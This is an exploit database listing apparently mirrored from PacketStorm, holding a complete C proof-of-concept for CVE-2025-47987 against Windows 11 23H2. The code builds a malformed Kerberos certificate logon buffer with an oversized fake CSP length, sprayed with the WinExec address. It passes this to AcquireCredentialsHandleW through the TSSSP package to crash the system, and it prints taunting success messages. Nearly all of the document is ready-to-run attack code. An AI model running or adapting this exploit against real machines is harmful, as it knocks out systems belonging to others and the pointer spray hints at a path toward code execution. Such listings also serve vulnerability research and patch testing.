Share
## https://sploitus.com/exploit?id=PACKETSTORM:220388
# Exploit Title: Windows 11 23H2 - Denial of Service (DoS)
    # Google Dork: N/A
    # Date: 2025-08-22
    # Exploit Author: Kryptoenix
    # Vendor Homepage: https://www.microsoft.com/
    # Software Link: https://www.microsoft.com/en-us/software-download/windows11
    # Version: Windows 11 23H2
    # Tested on: Windows 11 23H2 (x64)
    # CVE: CVE-2025-47987
    
    
    
    #define SECURITY_WIN32
    #include <windows.h>
    #include <sspi.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <credssp.h>
    #include <stdint.h>
    #include <wchar.h>
    
    #pragma comment(lib, "secur32.lib")
    
    
    #define ALIGN_TO_8(x) (((x) + 7) & ~((size_t)7))
    
    
    int BuildKerbCertLogonBuffer(
        const WCHAR* username,
        const WCHAR* domain,
        const WCHAR* password,
        const BYTE* certBlob,
        DWORD certBlobSize,
        BYTE** outBuffer,
        DWORD* outBufferSize)
    {
        if (!username || !domain || !password || !certBlob || !outBuffer || !outBufferSize) return -1;
    
        uint64_t usernameLen = (uint64_t)(wcslen(username) * sizeof(WCHAR));
        uint64_t domainLen = (uint64_t)(wcslen(domain) * sizeof(WCHAR));
        uint64_t passwordLen = (uint64_t)(wcslen(password) * sizeof(WCHAR));
    
        size_t offsetUser = 0x48; // header is fixed 0x48 bytes
        size_t offsetPassword = offsetUser + ALIGN_TO_8(usernameLen);
        size_t offsetDomain = offsetPassword + ALIGN_TO_8(passwordLen);
        size_t offsetCert = offsetDomain + ALIGN_TO_8(domainLen);
    
        size_t totalSize = offsetCert + ALIGN_TO_8(certBlobSize);
    
        BYTE* buf = (BYTE*)malloc(totalSize);
        if (!buf) return -1;
        memset(buf, 0, totalSize);
    
        // 0x00: type
        *(uint64_t*)(buf + 0x00) = 13ULL;
    
        // username entry
        *(uint64_t*)(buf + 0x08) = usernameLen;
        *(uint64_t*)(buf + 0x10) = (uint64_t)offsetUser;
    
        // password entry
        *(uint64_t*)(buf + 0x18) = passwordLen;
        *(uint64_t*)(buf + 0x20) = (uint64_t)offsetPassword;
    
        // domain entry
        *(uint64_t*)(buf + 0x28) = domainLen;
        *(uint64_t*)(buf + 0x30) = (uint64_t)offsetDomain;
    
        // cert offset/size
        *(uint32_t*)(buf + 0x38) = (uint32_t)0x1337; // :)
        *(uint32_t*)(buf + 0x3C) = (uint32_t)certBlobSize;
        *(uint32_t*)(buf + 0x40) = (uint32_t)offsetCert;
    
        // payload copies
        memcpy(buf + offsetUser, username, usernameLen);
        memcpy(buf + offsetPassword, password, passwordLen);
        memcpy(buf + offsetDomain, domain, domainLen);
        memcpy(buf + offsetCert, certBlob, certBlobSize);
    
        printf("\nHeader of packed buffer (first 64 bytes):\n");
        for (size_t i = 0; i < (totalSize < 64 ? totalSize : 64); ++i) {
            printf("%02x ", buf[i]);
            if ((i & 0x7) == 0x7) printf("\n");
        }
        printf("\n");
    
    
        *outBuffer = buf;
        *outBufferSize = (DWORD)totalSize;
        return 0;
    }
    
    BYTE* BuildFakeCspData(
        const char* str,       
        size_t strLen,
        DWORD providerValue,   // stored at header[5]
        DWORD* outSize)        
    {
        if (!str) return NULL;
    
        size_t lenChars = strLen + 1; 
        size_t stringBytes = lenChars;     
    
        size_t headerBytes = 44; // 40-byte base + one DWORD offset
        size_t totalBytes = headerBytes + stringBytes;
        if (totalBytes < 0x30) totalBytes = 0x30;
    
        BYTE* buffer = (BYTE*)malloc(totalBytes);
        if (!buffer) return NULL;
        memset(buffer, 0, totalBytes);
    
        // header[5] = providerValue
        ((DWORD*)buffer)[5] = providerValue;
    
        // header[6] = offset for string (in bytes from start of data area)
        ((DWORD*)buffer)[6] = 0;
    
        // copy the string into the data area
        BYTE* stringArea = buffer + headerBytes;
        memcpy(stringArea, str, lenChars); 
    
        printf("Header of CSP buffer (first 44 bytes):\n");
        for (size_t i = 0; i < headerBytes; ++i) {
            printf("%02x ", buffer[i]);
            if ((i & 0x7) == 0x7) printf("\n");
        }
        printf("\n\n");
    
    
        if (outSize)
            *outSize = (DWORD)totalBytes;
    
        return buffer;
    }
    
    
    unsigned char* ptrToBytes(void* ptr, size_t* outLen) {
        size_t len = sizeof(void*); // 8 bytes 
        unsigned char* buf = (unsigned char*)malloc(len);
        if (!buf) return NULL;
        memcpy(buf, &ptr, len); // copy pointer value into buffer
        if (outLen) *outLen = len;
        return buf;
    }
    
    unsigned char* BuildStringPattern(const unsigned char* pattern, size_t patLen, size_t repeatCount) {
        size_t totalLen = patLen * repeatCount;
        unsigned char* buf = (unsigned char*)malloc(totalLen);
        if (!buf) return NULL;
    
        // add padding for pointer allignment
        memset(buf, 0, 4);
    
        unsigned char* p = buf + 4;
        for (size_t i = 0; i < repeatCount; i++) {
            memcpy(p, pattern, patLen);
            p += patLen;
        }
        return buf;
    }
    
    wchar_t* BuildWideStringPattern(const wchar_t* pattern, size_t repeatCount) {
        if (!pattern || repeatCount == 0) return NULL;
    
        size_t patLen = wcslen(pattern); 
        size_t totalLen = (patLen * repeatCount) + 1; 
    
        wchar_t* buf = (wchar_t*)malloc(totalLen * sizeof(wchar_t));
        if (!buf) return NULL;
    
        wchar_t* p = buf;
    
        // copy pattern repeatedly
        for (size_t i = 0; i < repeatCount; i++) {
            wmemcpy(p, pattern, patLen);
            p += patLen;
        }
    
        *p = L'\0';
    
        return buf;
    }
    int main(void)
    {
        size_t addrLen;
        unsigned char* addrBytes = ptrToBytes((void*)WinExec, &addrLen);
        if (!addrBytes) {
            fprintf(stderr, "Failed to allocate address bytes.\n");
            return 1;
        }
    
    
        size_t repeatCount = 0x1FFFFFE0; // 0xFFFFFF00 = 8 * 0x1FFFFFE0
        unsigned char* hugeStr = BuildStringPattern(addrBytes, addrLen, repeatCount);
        if (!hugeStr) {
            fprintf(stderr, "Failed to allocate huge buffer.\n");
            free(addrBytes);
            return 1;
        }
    
        DWORD fakeSize;
        printf("Building fake CSP buffer...\n\n");
        BYTE* fakeCsp = BuildFakeCspData((const char *)hugeStr, 0xFFFFFF00, 0x18, &fakeSize);
    
        if (!fakeCsp) {
            wprintf(L"Allocation failed\n");
            return 1;
        }
    
        wprintf(L"Built fake CSPDATA size=0x%X\n\n", fakeSize);
        //getchar();
    
        SECURITY_STATUS status;
        CredHandle credHandle;
        TimeStamp expiry;
    
        const WCHAR* username = L"exampleusername";
        const WCHAR* domain = L"exampledomain";
        const WCHAR* password = L"examplepassexamplepassexamplepassexamplepassexamplepass";   
        
    
        BYTE* buf = NULL;
        DWORD bufSize = 0;
    
        printf("Building fake KerbCertLogonBuffer...\n");
        if (BuildKerbCertLogonBuffer(username, domain, password, fakeCsp, fakeSize, &buf, &bufSize) != 0) {
            printf("Failed to build KerbCertLogonBuffer\n");
            return 1;
        }
    
        printf("Trigerring the bug...\n");
        status = AcquireCredentialsHandleW(
            NULL,
            (LPWSTR)L"TSSSP",       // pszPackage (name of the security package)
            SECPKG_CRED_OUTBOUND,   
            NULL,
            buf,                    // pAuthData (pointer to authentication data)
            NULL,
            NULL,
            &credHandle,
            &expiry
        );
    
        if (status == SEC_E_OK) {
            printf("AcquireCredentialsHandle succeeded\n");
            FreeCredentialsHandle(&credHandle);
        }
        else {
    
            if (status == SEC_E_INSUFFICIENT_MEMORY) {
                printf("Not enough memory to trigger the crash :(\n");
                printf("[-] PoC failed!\n");
            }
            else if (status == SEC_E_INTERNAL_ERROR) {
                printf("\n[+] PoC succeded! Enjoy the crash >:D\n");
            }
            else {
                printf("AcquireCredentialsHandle failed! Error: 0x%x\n",status);
                printf("[-] PoC failed!\n");
            }
        }
    
        if (buf) free(buf);
        if(hugeStr) free(hugeStr);
        if(fakeCsp) free(fakeCsp);
        return 0;
    }